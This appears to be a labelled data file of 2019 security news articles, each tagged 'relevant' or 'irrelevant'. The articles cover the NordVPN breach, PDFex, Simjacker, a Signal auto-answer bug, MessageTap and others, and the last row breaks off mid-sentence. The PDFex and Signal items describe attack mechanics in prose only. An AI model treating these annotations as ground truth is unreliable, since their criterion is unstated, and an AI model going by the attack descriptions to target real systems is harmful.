"NordVPN Breach FAQ – What Happened and What's At Stake? NordVPN, one of the most popular and widely used VPN services out there, yesterday disclosed details of a security incident that apparently compromised one of its thousands of servers based in Finland. Earlier this week, a security researcher on Twitter disclosed that ""NordVPN was compromised at some point,"" alleging that unknown attackers stole private encryption keys used to protect VPN users traffic routed through the compromised server. In response to this, NordVPN published a blog post detailing about the security incident, and here we have summarized the whole incident for our readers to let you quickly understand what exactly happened, what's at stake, and what you should do next. Some of the information mentioned below also contains information The Hacker News obtained via an email interview with NordVPN. What has been compromised? — NordVPN has thousands of servers across the world hosted with third-party data centers. One such server hosted with a Finland-based datacenter was unauthorizedly accessed on March 2018. How did it happen? — The company revealed that an unknown attacker gained access to that server by exploiting ""an insecure remote management system left by the datacenter provider while we (the company) was unaware that such a system existed."" What has been stolen? — Since NordVPN does not log activities of its users, the compromised server ""did not contain any user activity logs; none of the applications send user-created credentials for authentication, so usernames/passwords couldn't have been intercepted either."" However, the company did confirm that the attackers successfully managed to steal three TLS encryption keys responsible for protecting VPN users' traffic routed through the compromised server. nordvpn hacked Though NordVPN tried to downplay the security incident in its blog post by quoting the stolen encryption keys as ""expired,"" when The Hacker News approached the company, it did admit that the keys were valid at the time of the breach and expired in October 2018, almost 7 months after the breach. What might attackers have achieved? — Almost every website today use HTTPS to protect its users' network traffic, and VPNs basically just add an extra layer of authentication and encryption to your existing network traffic by tunneling it through a large number of its servers (exit nodes), restricting even your ISPs from monitoring your online activities. Now with some limited encryption keys in hand, attackers might have only decrypted that extra layer of protection coated over the traffic passed through the compromised server, which, however, can not be abused to decrypt or compromise users' HTTPS encrypted traffic. ""Even if the hacker could have viewed the traffic while being connected to the server, he could see only what an ordinary ISP would see, but in no way, it could be personalized or linked to a particular user. And if they do it not through this server, they would do it using MiTM,"" the NordVPN spokesperson told The Hacker News. ""On the same note, the only possible way to abuse website traffic was by performing a personalized and complicated MiTM attack to intercept a single connection that tried to access nordvpn.com,"" the company said in its blog post. In other words, the attack possibly allowed attackers to only capture users' unencrypted data exchanged with non-HTTPS websites, if any, or DNS lookups for some users, and also defeated the purpose of using a VPN service. ""We are strictly no-logs, so we don't know exactly how many users had used this server,"" NordVPN said. ""However, by the evaluation of server loads, this server had around 50-200 active sessions."" To be noted, ""the (stolen encryption) keys couldn't possibly have been used to decrypt the VPN traffic of any other (NordVPN) server,"" the company confirmed. How NordVPN addressed the security breach? — After discovering the incident a few months ago, the company ""immediately terminated the contract with the server provider"" and shredded all the servers NordVPN had been renting from them. NordVPN also immediately launched a thorough internal audit of its servers to check its entire infrastructure, and double-checked that ""no other server could possibly be exploited this way."" The company said next year, it will also ""launch an independent external audit all of our infrastructure to make sure we did not miss anything else."" The company also admitted that it ""failed"" to ensure the security of its customers by contracting an unreliable server provider, and that it is ""taking all the necessary means to enhance our security."" Should NordVPN users be worried? — Not much. People use VPNs for a variety of reasons, and honestly, if you're using it for privacy or escaping Internet censorship, you should not stop using VPN in the wake of such events. However, before choosing a service you are always advised to do some research and pay for a service that you feel is trustworthy. TorGuard and VikingVPN were also compromised It seems like NordVPN is not alone. Other popular VPN services, including TorGuard and VikingVPN, also suffered a similar security incident at the same time of the year. In its blog post published Monday, TorGuard confirmed that a ""single TorGuard server"" was compromised and removed from its network in early 2018 and that it has since ""terminated all business with the related hosting reseller because of repeated suspicious activity."" Since TorGuard has filed a legal complaint against NordVPN on June 27, 2019, possibly blaming it for the breach, the company refused to provide details about the specific hosting reseller or how the attacker gained unauthorized access. However, TorGuard made it clear that its ""server was not compromised externally, and there was never a threat to other TorGuard servers or users."" The company also said that out of all three, TorGuard was the ""only one using secure PKI management,"" meaning its ""main CA key was not on the affected VPN server."" ""So if a worst-case scenario occurs and a VPN server is seized or even compromised, no one can tamper with or decrypt user traffic, or launch Man-in-the-Middle attacks on other TorGuard servers,"" the company said. VikingVPN, on the other hand, has yet not responded to the security incident. We will update the article as soon as we hear from it.",relevant
"Hackers Target Indian Nuclear Power Plant – Everything We Know So Far A story has been making the rounds on the Internet since yesterday about a cyber attack on an Indian nuclear power plant. Due to some experts commentary on social media even after lack of information about the event and overreactions by many, the incident received factually incorrect coverage widely suggesting a piece of malware has compromised ""mission-critical systems"" at the Kudankulam Nuclear Power Plant. Relax! That's not what happened. The attack merely infected a system that was not connected to any critical controls in the nuclear facility. Here we have shared a timeline of the events with brief information on everything we know so far about the cyberattack at Kudankulam Nuclear Power Plant (KKNPP) in Tamil Nadu. From where this news came? The story started when Indian security researcher Pukhraj Singh tweeted that he informed Indian authorities a few months ago about an information-stealing malware, dubbed Dtrack, which successfully hit ""extremely mission-critical targets"" at Kudankulam Nuclear Power Plant. According to Pukhraj, the malware managed to gain domain controller-level access at the nuclear facility. What is the Dtrack malware (linked to the North Korean hackers)? According to a previous report published by researchers at Kaspersky, Dtrack is a remote access Trojan (RAT) intended to spy on its victims and install various malicious modules on the targeted computers, including: keylogger, browser history stealer, functions that collect host IP address, information about available networks and active connections, list of all running processes, and also the list of all files on all available disk volumes. Dtrack allows remote attackers to download files to the victim's computer, execute malicious commands, upload data from the victim's computer to a remote server controlled by attackers, and more. According to the researchers, Dtrack malware was developed by the Lazarus Group, a hacking group believed to be working on behalf of North Korea's state spy agency. How did the Indian Government respond? Immediately after Pukhraj's tweet, many Twitter users and Indian opposition politicians, including Congress MP Shashi Tharoor, demanded an explanation from the Indian Government about the alleged cyberattack — which it never disclosed to the public. In response to the initial media reports, the Nuclear Power Corporation of India (NPCIL), a government-owned entity, on Tuesday released an official statement, denying any cyber attack on the control system of the nuclear power plant. ""This is to clarify Kudankulam Nuclear Power Plant (KNPP) and other Indian Nuclear Power Plants Control are stand-alone and not connected to outside cyber network and Internet. Any cyber-attack on the Nuclear Power Plant Control System is not possible,"" the NPCIL statement reads. To be honest, the statement is factually correct, except the ""not possible"" part, as Pukhraj was also talking about the compromise of the administrative IT network, not the critical systems that control the power plant. Indian Government later acknowledged the cyberattack, but... However, while primarily addressing false media reports and rumors of Stuxnet like malware attack, the NPCIL, intentionally or unintentionally, left an important question unanswered: If not control systems, then which systems were actually compromised? When the absolute denial backfired, NPCIL on Wednesday released a second statement, confirming that there was indeed a cyberattack, but it was limited only to an Internet-connected computer used for administrative purposes, which is isolated from any mission-critical system at the nuclear facility. ""Identification of malware in the NPCIL system is correct. The matter was conveyed by CERT-In when it was noticed by them on September 4, 2019,"" the NPCIL statement reads. ""The investigation revealed that the infected PC belonged to a user who was connected to the Internet-connected network. This is isolated from the critical internal network. The networks are being continuously monitored."" Though North Korean hackers developed the malware, the Indian Government has not yet attributed the attack to any group or country. What could attackers have achieved? For security reasons, control processing technologies at nuclear power plants are typically isolated from the Internet or any other computers that are connected to the Internet or external network. Such isolated systems are also termed as air-gapped computers and are common in production or manufacturing environments to maintain a gap between the administrative and operational networks. Compromising an Internet-connected administrative system doesn't allow hackers to manipulate the air-gapped control system. Still, it certainly could allow attackers to infect other computers connected to the same network and steal information stored in them. If we think like a hacker who wants to sabotage a nuclear facility, the first step would be collecting as much information about the targeted organization as possible, including type of devices and equipment being used in the facility, to determine the next possible ways to jump through air gaps. The Dtrack malware could be the first phase of a bigger cyber-attack that, fortunately, get spotted and raised the alarm before causing any chaos. However, it has not yet been revealed, by researchers or the Government, that what kind of data the malware was able to steal, analysis of which could be helpful to shed more light on the gravity of the incident. The Hacker News will update the article when more information becomes available on this incident. Stay Tuned!",irrelevant
"Researchers Find New Hack to Read Content Of Password Protected PDF Files Looking for ways to unlock and read the content of an encrypted PDF without knowing the password? Well, that's now possible, sort of—thanks to a novel set of attacking techniques that could allow attackers to access the entire content of a password-protected or encrypted PDF file, but under some specific circumstances. Dubbed PDFex, the new set of techniques includes two classes of attacks that take advantage of security weaknesses in the standard encryption protection built into the Portable Document Format, better known as PDF. To be noted, the PDFex attacks don't allow an attacker to know or remove the password for an encrypted PDF; instead, enable attackers to remotely exfiltrate content once a legitimate user opens that document. In other words, PDFex allows attackers to modify a protected PDF document, without having the corresponding password, in a way that when opened by someone with the right password, the file will automatically send out a copy of the decrypted content to a remote attacker-controlled server on the Internet. The researchers tested their PDFex attacks against 27 widely-used PDF viewers, both for desktop and browser-based, and found all of them vulnerable to at least one of the two attacks, though the majority were found vulnerable to both attacks. The affected PDF viewers include popular software for Windows, macOS and Linux desktop operating systems such as: Adobe Acrobat Foxit Reader Okular Evince Nitro Reader ...as well as PDF viewer that comes built into web browsers: Chrome Firefox Safari Opera PDFex Attacks Exploit Two PDF Vulnerabilities pdf file encryption Discovered by a team of German security researchers, PDFex works because of the two major weaknesses in the PDF encryption, as described below: 1) Partial Encryption — Standard PDF specification by design supports partial encryption that allows only strings and streams to be encrypted, while objects defining the PDF document's structure remains unencrypted. Thus, support for mixing of ciphertexts with plaintexts leaves an opportunity for attackers to easily manipulate the document structure and inject malicious payload into it. 2.) Ciphertext Malleability — PDF encryption uses the Cipher Block Chaining (CBC) encryption mode with no integrity checks, which can be exploited by attackers to create self-exfiltrating ciphertext parts. PDFex Attack Classes: Direct Exfiltration and CBC Gadgets Now, let's briefly understand the two classes of PDFex attacks. Class 1: Direct Exfiltration — It abuses the partial encryption feature of a protected PDF file. hack pdf password While leaving the content to be exfiltrated untouched, an attacker can add additional unencrypted objects in a targeted encrypted PDF, which can be used to define a malicious action to be performed when successfully opened by a legitimate user. These actions, as listed below, defines the way a remote attacker can exfiltrate the content: Submitting a form Invoking a URL Executing JavaScript ""The Action references the encrypted parts as content to be included in requests and can thereby be used to exfiltrate their plaintext to an arbitrary URL,"" the paper reads. ""The execution of the Action can be triggered automatically once the PDF file is opened (after the decryption) or via user interaction, for example, by clicking within the document."" For example, as shown in the picture, the object which contains the URL (in blue color) for form submission is not encrypted and completely controlled by the attacker. Class 2: CBC Gadgets — Not all PDF viewers support partially encrypted documents, but many of them also don't have file integrity protection, which allows attackers to modify the plaintext data directly within an encrypted object. remove pdf password protection The attack scenario of CBC gadget-based attacks are almost the same as the Direct Exfiltration attacks with the only difference that here attacker modifies the existing encrypted content or create new content from CBC gadgets to add actions that define how to exfiltrate data. Besides this, if a PDF contains compressed streams to reduce the file size, attackers need to use half-open object streams to steal the data. PoC Exploit Released for PDFex Attacks The team of researchers, which includes six German academics from Ruhr-University Bochum and Münster University, has reported their findings to all affected vendors and also released proof-of-concept exploits for PDFex attacks to the public. hacking pdf password Some of the previous research by the same team of researchers include the eFail attack revealed on May 2018 that affected over a dozen popular PGP-encrypted email clients. For more technical details of the PDFex attacks, you can head on to this dedicated website released by the researchers and the research paper [PDF] titled, ""Practical Decryption exFiltration: Breaking PDF Encryption.""",relevant
"Phorpiex Botnet Sending Out Millions of Sextortion Emails Using Hacked Computers A decade-old botnet malware that currently controls over 450,000 computers worldwide has recently shifted its operations from infecting machines with ransomware or crypto miners to abusing them for sending out sextortion emails to millions of innocent people. Extortion by email is growing significantly, with a large number of users recently complaining about receiving sextortion emails that attempt to extort money from individuals by blackmailing them into exposing their sexual content. Though until now, it wasn't clear how scammers were sending such massive amounts of emails without getting blacklisted by the email providers, security researchers from CheckPoint finally found the missing block in this puzzle. In its latest report shared with The Hacker News prior to the release, Tel Aviv-based security firm CheckPoint reveals that a botnet, called Phorpiex, has recently been updated to include a spam bot designed to use compromised computers as proxies to send out over 30,000 sextortion emails per hour—without the knowledge of the infected computers' owners. How Does Phorpiex Spam Bot Work? The spambot module of Phorpiex downloads the list of its targets/receipts' email addresses from a remote command-and-control server and uses a simple implementation of the SMTP protocol to send sextortion emails. Phorpiex Sextortion Email ""Then, an email address is randomly selected from the downloaded database, and a message is composed from several hardcoded strings. The spam bot can produce a large amount of spam emails – up to 30,000 per hour. Each individual spam campaign can cover up to 27 million potential victims,"" researchers explain. ""The spam bot creates a total of 15,000 threads to send spam messages from one database. Each thread takes a random line from the downloaded file. The next database file is downloaded when all spam threads finish. If we consider the delays, we can estimate that bot is able to send about 30,000 emails in an hour."" To intimidate innocent recipients, criminals behind these sextortion campaigns also add one of the victims' online passwords in the subject line or content of the sextortion email, making it more convincing that hacker knows their passwords and might have access to their private content. In reality, these combinations of email addresses and passwords of recipients were curated from various previously compromised databases. So, the passwords displayed to the victims don't necessarily belong to their email accounts; it could be old and related to any online service. ""The downloaded database is a text file, which contains up to 20,000 email addresses. In various campaigns, we observed from 325 to 1363 email databases on a C&C server. Therefore, one spam campaign covers up to 27 million potential victims. Each line of this file contains email and password delimited by colons,"" researchers say. The same sextortion campaign powered by similar or the same botnet has also been named as ""Save Yourself"" malware attacks by other teams of researchers. In over five months, cybercriminals behind this campaign have made more than 11 BTC, equivalent to approximately $88,000. Though the figure is not huge, researchers say the actual revenue made by the hackers could be larger, as they did not monitor the sextortion campaigns in the years before.",irrelevant
"Verizon, AT&T, Sprint and T-Mobile to replace SMS with RCS Messaging in 2020 Mobile carriers in the United States will finally offer a universal cross-carrier communication standard for the next-generation RCS messaging service that is meant to replace SMS and has the potential to change the way consumers interact with brands for years to come. All major United States mobile phone carriers, including AT&T, Verizon, T-Mobile, and Sprint, have joined forces to launch a new initiative that will replace SMS with RCS mobile messaging standard. What's more? The initiative is also working with its carrier ownership group and other companies to develop and deploy the new RCS standard in a new text messaging app for Android phones that is expected to be launched in 2020. The goal of this joint venture, dubbed the Cross Carrier Messaging Initiative (CCMI), is to deliver the GSMA's Rich Communications Service (RCS) industry standard to consumers and businesses on each of the four carriers, both in the United States and globally. ""Efforts like CCMI help move the entire industry forward so we can give customers more of what they want and roll out new messaging capabilities that work the same across providers and even across countries,"" said T-Mobile CEO John Legere. Besides this, the initiative also wants to provide users with the ability to communicate with businesses, so they can ""chat with their favorite brands, order rideshare, pay bills or schedule appointments, and more."" Why RCS Hasn't Killed SMS Yet? Although the RCS standard was developed over a decade ago, it has never been adopted widely due to complicated mobile carrier and phone maker politics; for example, Apple has no interest in RCS because it is already offering more than that through iMessages. Even a few carriers and services who are offering the new messaging standard have implemented their non-universal specifications of RCS standard, which limits the exchange of RSC-based messages only to the subscribers of their networks. Earlier this year, Google also independently released RCS messaging for Android smartphones in two countries, the United Kingdom and France, instead of waiting for cellphone carriers to roll it out. Not End-to-End Encrypted, But RCS Offers Some Integrity Unlike ancient SMS technology, RCS-based enhanced text message service supports high-resolution photo sharing, location sharing, group messaging, animated stickers, read receipts, and some other features like Apple iMessage, to significantly improve messaging functionality that comes installed on phones by default. However, unlike iMessage, Signal, and WhatsApp, RCS-based messages are not end-to-end encrypted. Still, it contains message verification and brand certification mechanisms to ensure users interact with legitimate brands, protecting them from fraudulent accounts, impersonators, or phishing attempts. Besides this, SMS communicates over SMPP or insecure SS7 protocols, whereas RCS traffic between the device and the network can be protected using SIP over TLS encryption. Since the CCMI project has not yet fully developed its RCS-based messaging standard, it's not clear, at this moment, if the major U.S. carriers would come up with something that will ensure users' privacy from government surveillance. However, the announcement does say that it will ""enable an enhanced experience to privately send individual or group chats across carriers with high-quality pictures and videos,"" the press release says. ""The CCMI will bring a consistent, engaging experience that makes it easy for consumers and businesses to interact in an environment they can trust. As we have seen in Asia, messaging is poised to become the next significant digital platform. CCMI will make it easy for consumers to navigate their lives from a smartphone,"" said Sprint CEO Michel Combes. ""At Verizon, our customers depend on reliable text messaging to easily connect them to the people they care about most. Yet, we can deliver even more working together as an industry. CCMI will create the foundation for an innovative digital platform that not only connects consumers with friends and family but also offers a seamless experience for consumers to connect with businesses in a compelling and trusted environment,"" said Verizon Consumer Group CEO Ronan Dunne. Though all four carriers promise to bring the new RCS messaging to Android by next year, it will not be available to all Android users at the same time, as users might also need to have a smartphone that supports the standard.",irrelevant
"Breaches are now commonplace, but Reason Cybersecurity lets users guard their privacy There has been no shortage of massive security breaches so far this year. Just last July, Capital One disclosed that it was hit by a breach that affected more than 100 million customers. Also recently, researchers came across an unsecured cloud server that contained the names, phone numbers, and financial information of virtually all citizens of Ecuador – around 20 million people. These are just the latest in a long line of security breaches affecting enterprises over the past few years. The Yahoo!, Equifax, and Marriott hacks and Facebook's scandal should still be fresh in people's memories, reminding everyone that even large corporations with budgets for enterprise cybersecurity may not be secure enough to protect customer information. These records are now out there, stored in hackers' data dumps, and are potentially tradable over the Dark Web. The availability of such information online increases a person's risk of being victimized through fraud and identity theft and other forms of cyberattacks. These attacks are often met with outrage by pundits and the public alike. Users expect these organizations to employ top-notch security measures to protect user privacy. Yet users may not be doing enough to keep their own information and computing devices secure. Users allow websites and applications unbridled access to their devices and information. Most also rely on free and standard antivirus software to protect their computers, which aren't enough to mitigate new forms of privacy-invasive cyberattacks. Fortunately, new solutions are emerging to help users safeguard themselves from these modern threats. Reason cybersecurity is a security solution designed to be privacy-focused and can protect users across various potential attack vectors. Reason CTO and Founder Andrew Newman shared, ""We often feel angry when our records get stolen through security breaches on companies we do business with. We trust them and fully expect them to protect our privacy. However, if we check how we secure our own personal information and digital privacy, we might realize that we aren't doing much. When was the last time you checked your PC for malware and trackers? Or made sure that your account credentials are highly secure? It's high time that we invest in our security and privacy ourselves."" How Reason Protects Privacy Modern security solutions can help users to safeguard themselves from modern threats better. However, instead of investing in capable security solutions, users typically rely on free software that is incapable of detecting modern malware. This leaves them extremely vulnerable to attacks that could compromise their privacy. Users should look towards investing in privacy-focused solutions like Reason. Reason offers a comprehensive personal security suite that includes essential features that can counter such attacks. 1) Antivirus and Anti-malware — At its core, Reason is an antivirus that offers real-time protection against malicious files and processes. Its detection engine is backed by a database of over a million samples. reason antivirus protection The database constantly grows through continuous updates and community submissions, allowing the software to be accurate and keep up with new and emerging threats. 2) Microphone and Camera Protection — Reason also safeguards users from remote access tools that are used by hackers to access and control communication devices such as webcams and microphones. Hackers have also been tapping into these peripherals to record private calls and videos that can be used for extortion or be sold on the dark web. reason antivirus protection Reason's microphone and camera protection warns users of any attempts by applications to use these devices and enables users to allow or block the applications. 3) Unwanted Applications — Reason can also scan for dangerous tracking and spyware that may be found on users' computers. Even legitimate applications may pose dangers to a user's security and privacy. reason antivirus protection Its ""Should I Remove It?"" feature lists all installed applications and rates them according to the threat they may pose, as well as gives users the option to remove the applications entirely from the device. 4) Ransomware Protection — Reason also protects computers from ransomware. Ransomware is a popular type of malware that is used to encrypt and restrict access to files and systems unless a ransom is paid. reason antivirus protection Encryption processes can also damage or corrupt personal files and data. Reason disables encryption attempts and prevents them from executing. 5) Browsing and Download Protection — In addition, Reason provides a free chrome plugin that keeps users away from phishing websites. Hackers nowadays use various methods to direct users to click a malicious link. reason antivirus protection Reason identifies which links are safe to click and which links lead to fraudulent websites that steal personal data and information. Cybercriminals have also found a way to embed malware to files that can be downloaded from legitimate websites. These files can pose serious privacy threats when successfully executed. Reason has included a free plugin that can automatically scan downloaded files and check if they are safe to run. ""Hackers have gotten quite creative in the ways they try to steal users' information and invade their privacy. They cleverly disguise their tools and tracks that require a capable set of tools to combat their methods. A plain old antivirus isn't enough these days. Using a feature-rich security solution allows users to protect themselves from the popular threats,"" Newman added. Being Vigilant Aside from using modern solutions, users must also always remain vigilant when using technology. Trust has become a fragile thing these days so much so that users must check the legitimacy of everything they come in contact with when using technology. Users should be careful in executing attachments, files, and media, even from supposedly trusted sources, since they may contain embedded malware and viruses. Fortunately, solutions like Reason that offer real-time protection and download protection help minimize the impact of these threats. Users should also be wary of phishing emails—fraudulent emails that are designed to steal critical information. As these seemingly legitimate emails usually contain malicious attachments or links, users must validate the email's authenticity before clicking anything. Furthermore, users are advised to check what permissions apps are asking for before granting them. If an app is asking to access data that seems unnecessary to the app's purpose, it's best to deny the request and uninstall the app. In addition, users should avoid subscribing to services that ask for too much information, particularly personal and financial data that aren't really relevant to their function. This way, this information won't be freely accessible should these apps and services fall victim to attacks. Adopting a Privacy Mindset Cybersecurity demands that everyone do their part in keeping everyone's data secure. Individuals could do their part by ensuring that they protect their data and devices by adopting capable security solutions and being vigilant in everything they do. ""It isn't exactly paranoia to be concerned about cyberattacks these days. The threats are real. While it appears that everyone must come to terms with the idea that one's personal information is simply out there for the taking, this still shouldn't excuse users to be lax with the information that they still control. Leveraging modern security solutions and adopting a privacy-focused mindset can still help them reduce security risks,"" Newman concluded.",irrelevant
"Mysterious malware that re-installs itself infected over 45,000 Android Phones Over the past few months, hundreds of Android users have been complaining online of a new piece of mysterious malware that hides on the infected devices and can reportedly reinstall itself even after users delete it, or factory reset their devices. Dubbed Xhelper, the malware has already infected more than 45,000 Android devices in just the last six months and is continuing to spread by infecting at least 2,400 devices on an average each month, according to the latest report published today by Symantec. Here below, I have collected excerpts from some comments that affected users shared on the online forums while asking for how to remove the Xhelper Android malware: ""xhelper regularly reinstalls itself, almost every day!"" ""the 'install apps from unknown sources' setting turns itself on."" ""I rebooted my phone and also wiped my phone yet the app xhelper came back."" ""Xhelper came pre-installed on the phone from China."" ""don't buy cheap brand phones."" From Where Xhelper Android Malware Comes? Though the Symantec researchers did not find the exact source from where the malicious app packed with the Xhelper malware comes in the first place, the security firm did suspect that a malicious system app pre-installed on Android devices from certain brands actually downloaded the malware. remove Xhelper android malware ""None of the samples we analysed were available on the Google Play Store, and while it is possible that the Xhelper malware is downloaded by users from unknown sources, we believe that may not be the only channel of distribution,"" Symantec researchers write in its report. ""From our telemetry, we have seen these apps installed more frequently on certain phone brands, which leads us to believe that the attackers may be focusing on specific brands."" In a separate report published two months ago by Malwarebytes, researchers believed that the Xhelper malware is being spread by ""web redirects"" or ""other shady websites"" that prompt users to download apps from untrusted third-party sources. How Does the Xhelper Malware Work? Once installed, Xhelper doesn't provide a regular user interface; instead, it gets installed as an application component that doesn't show up on the device's application launcher in an attempt to remain hidden from the users. In order to launch itself, Xhelper relies on some external events triggered by users, like connecting or disconnecting the infected device from a power supply, rebooting a device, or installing or uninstalling an app. Once launched, the malware connects to its remote command-and-control server over an encrypted channel and downloads additional payloads such as droppers, clickers, and rootkits on the compromised Android devices. ""We believe the pool of malware stored on the C&C server to be vast and varied in functionality, giving the attacker multiple options, including data theft or even complete takeover of the device,"" the researchers say. The researchers believe that the source code of Xhelper is still a work in progress, as some of its ""older variants included empty classes that were not implemented at the time, but the functionality is now fully enabled."" The Xhelper malware has been seen targeting Android smartphone users primarily in India, the United States, and Russia. Though many antivirus products for Android detect the Xhelper malware, they are yet not able to permanently remove or block it from getting itself reinstalled on the infected devices. Since the source of the malware is still unclear, Android users are recommended to take simple but effective precautions like: keep devices and apps up-to-date, avoid app downloads from unfamiliar sources, always pay close attention to the permissions requested by apps, frequently back up data, and install a good antivirus app that protects against this malware and similar threats.",irrelevant
"Signal Messenger Bug Lets Callers Auto-Connect Calls Without Receivers' Interaction Almost every application contains security vulnerabilities, some of which you may find today, but others would remain invisible until someone else finds and exploits them—which is the harsh reality of cybersecurity and its current state. And when we say this, Signal Private Messenger—promoted as one of the most secure messengers in the world—isn't any exception. Google Project Zero researcher Natalie Silvanovich discovered a logical vulnerability in the Signal messaging app for Android that could allow malicious caller to force a call to be answered at the receiver's end without requiring his/her interaction. In other words, the flaw could be exploited to turn on the microphone of a targeted Signal user's device and listen to all surrounding conversations. However, the Signal vulnerability can only be exploited if the receiver fails to answer an audio call over Signal, eventually forcing the incoming call to be automatically answered on the receiver's device. ""In the Android client, there is a method handleCallConnected that causes the call to finish connecting. During normal use, it is called in two situations: when the callee device accepts the call when the user selects 'accept,' and when the caller device receives an incoming ""connect"" message indicating that the callee has accepted the call,"" Silvanovich explains in the Chromium blog. ""Using a modified client, it is possible to send the ""connect"" message to a callee device when an incoming call is in progress but has not yet been accepted by the user. This causes the call to be answered, even though the user has not interacted with the device."" To be noted, ""the connected call will only be an audio call, as the user needs to manually enable video in all calls."" Silvanovich also mentioned that ""Signal has this large remote attack surface due to limitations in WebRTC,"" and the design flaw also affects the iOS version of the messaging app, but can not be exploited because ""the call is not completed due to an error in the UI caused by the unexpected sequence of states."" Silvanovich reported this vulnerability to the Signal security team just last week. The Signal security team immediately acknowledged the issue and patched it within a few hours on the same day with the release of Signal for Android v4.47.7, the company confirmed The Hacker News. What's your take? Let me write it down for you again—go and install the latest available update of Signal Private Messenger app from Google Play Store and make sure you always run up-to-date apps on your Android and iOS devices.",relevant
"SIM Cards in 29 Countries Vulnerable to Remote Simjacker Attacks Until now, I'm sure you all might have heard of the SimJacker vulnerability disclosed exactly a month ago that affects a wide range of SIM cards and can remotely be exploited to hack into any mobile phone just by sending a specially crafted binary SMS. If you are unaware, the name ""SimJacker"" has been given to a class of vulnerabilities that resides due to a lack of authentication and proprietary security mechanisms implemented by dynamic SIM toolkits that come embedded in modern SIM cards. Out of many, two such widely used SIM toolkits — S@T Browser technology and Wireless Internet Browser (WIB) — have yet been found vulnerable to SimJacker attacks, details of which we have provided in our previous articles published last month. At that time, a few experts in the telecom industry confirmed The Hacker News that the SimJacker related weaknesses were internally known to many for years, and even researchers also revealed that an unnamed surveillance company has been exploiting the flaw in the wild to spy on its targets. Cybersecurity researchers at Adaptive Mobile Security have now released a new report, revealing more details about the SimJacker attacks and trying to address some important unanswered questions, like the number of affected operators and countries, along with details on attacks spotted in the wild. 1 - List of Affected Countries Though the researchers did not name the affected mobile operators to prevent attackers from taking advantage of the disclosed vulnerability, they did reveal the names of countries where the vulnerable SIMs are still in use. SimJacker vulnerability According to the report, the list includes 29 affected countries across five continents, where customers of a total of 61 mobile operators are actively using vulnerable SIMs with S@T Browser toolkit: North America: Mexico, Guatemala, Honduras, Costa Rica, Nicaragua, Belize, El Salvador, Dominican Republic, and Panama. South America: Peru, Colombia, Brazil, Ecuador, Chile, Argentina, Uruguay, and Paraguay. Africa: Nigeria, Ghana, Benin, Ivory Coast, and Cameroon. Europe: Italy, Bulgaria, and Cyprus. Asia: Saudi Arabia, Iraq, Palestine and Lebanon. ""The most probable, conservative estimate is that mid to high hundreds of millions of SIM Cards globally are affected,"" the researchers said. SimJacker vulnerability On the other hand, there are only 8 mobile operators in 7 countries who are actively using the vulnerable WIB toolkit on their SIM Cards. These countries are spread across Eastern Europe, Central America, Asia, and West Africa. 2- SimJacker Attacks in the Wild According to the researchers, an unnamed surveillance company—active from at least 2015 and known for targeting users from multiple countries over the SS7 network—has been exploiting the SimJacker vulnerability to gather intelligence on its targets. It all started when researchers detected unusual and suspicious SMS events in the last quarter of 2018, and when actively monitored, they recorded nearly 25,000 Simjacker messages attempted to be sent to 1500 unique mobile devices in a period of 30 days. The primary targets were Mexican mobile users, while a small number of attacks were also observed against mobile phone subscribers from Colombia and Peru, with an aim to obtain both location Information and unique IMEI identifiers. ""We believe that prior to the discovery, they would have successfully tracked the location of many thousands of mobile subscribers over months and probably years,"" the researchers said. ""We also observed the attacker experiment over time with new potential forms of attack using the vulnerability. The number, scale, and sophistication of modifications of the attack are significantly beyond what we have witnessed from any attacker over mobile networks."" SimJacker vulnerability Researchers observed over 860 Simjacker attack sub-variants in the actual SMS Packet that were sent from at least 70 attacker-controlled mobile numbers. Besides this, researchers also observed that the attackers were attempting to use dedicated SS7 attacks against some users in case SimJacker attacks failed. 3. How to Prevent Yourself from SimJacker Attacks Unfortunately, there is no simple way for mobile subscribers to know whether a vulnerable SIM browser toolkit is deployed on their SIM card or not. Though there are apps available, like SnoopSnitch, that you can download from Google Play Store to detect attacks based on suspicious binary SMS, it requires your Android device to be rooted and even knowing that won't help you much. That's because, as a potential victim, there's very little you can do to protect yourself, except wait for your mobile operator to implement security measures or simply migrate your phone number to a different safe network, if available, which will provide you with a new SIM card. Meanwhile, GSM Association (GSMA), a trade body that represents the interests of mobile operators worldwide, has provided some of the best ways to prevent and block these attacks to protect billions of mobile phone users worldwide. In addition, the SIMalliance has also made some updates to its S@T browser specifications to improve the security of the SIM toolkits, and provided recommendations for SIM card manufacturers to implement security for S@T push messages.",relevant
"Chinese Hackers Compromise Telecom Servers to Spy on SMS Messages A group of Chinese hackers carrying out political espionage for Beijing has been found targeting telecommunications companies with a new piece of malware designed to spy on text messages sent or received by highly targeted individuals. Dubbed ""MessageTap,"" the backdoor malware is a 64-bit ELF data miner that has recently been discovered installed on a Linux-based Short Message Service Center (SMSC) server of an unnamed telecommunications company. According to a recent report published by FireEye's Mandiant firm, MessageTap has been created and used by APT41, a prolific Chinese hacking group that carries out state-sponsored espionage operations and has also been found involved in financially motivated attacks. In mobile telephone networks, SMSC servers act as a middle-man service responsible for handling the SMS operations by routing messages between senders and recipients. Since SMSes are not designed to be encrypted, neither on transmitting nor on the telecom servers, compromising an SMSC system allows attackers to monitor all network connections to and from the server as well as data within them. How Does MessageTap Malware Work? MessageTap uses the libpcap library to monitor all SMS traffic and then parses the content of each message to determine IMSI and phone numbers of the sender and the recipient. messagetap chinese malware According to the researchers, hackers have designed MessageTap malware to filter and only save messages: sent or received by specific phone numbers, containing certain keywords, or with specific IMSI numbers. For this, MessageTap relies on two configuration files provided by attackers — keyword_parm.txt and parm.txt — that contain a list of targeted phone numbers, IMSI numbers, and keywords linked to ""high-ranking individuals of interest to the Chinese intelligence services."" ""Both files are deleted from disk once the configuration files are read and loaded into memory. After loading the keyword and phone data files, MESSAGETAP begins monitoring all network connections to and from the server,"" the researchers said in its report released today. ""The data in keyword_parm.txt contained terms of geopolitical interest to Chinese intelligence collection."" If it finds an SMS message text of interest, the malware XORs its content and saves it to CSV files for later theft by the threat actor. According to the researchers, ""the risk of unencrypted data being intercepted several layers upstream in their cellular communication chain"" is especially ""critical for highly targeted individuals such as dissidents, journalists, and officials that handle highly sensitive information."" Besides this, the APT41 hacking group has also been found stealing call detail records (CDR) corresponded to high-ranking foreign individuals during this same intrusion, exposing metadata of calls, including the time of the calls, their duration, and the source and destination phone numbers. Chinese hackers targeting telecommunications companies isn't new. In this year itself, the APT41 hacking group targeted at least four telecommunications entities, and separate Chinese-suspected state-sponsored groups also observed hitting four additional telecommunications organizations. According to the FireEye researchers, this trend will continue and more such campaigns will be discovered soon, and therefore to mitigate a degree of risks, targeted organisations should consider deploying an 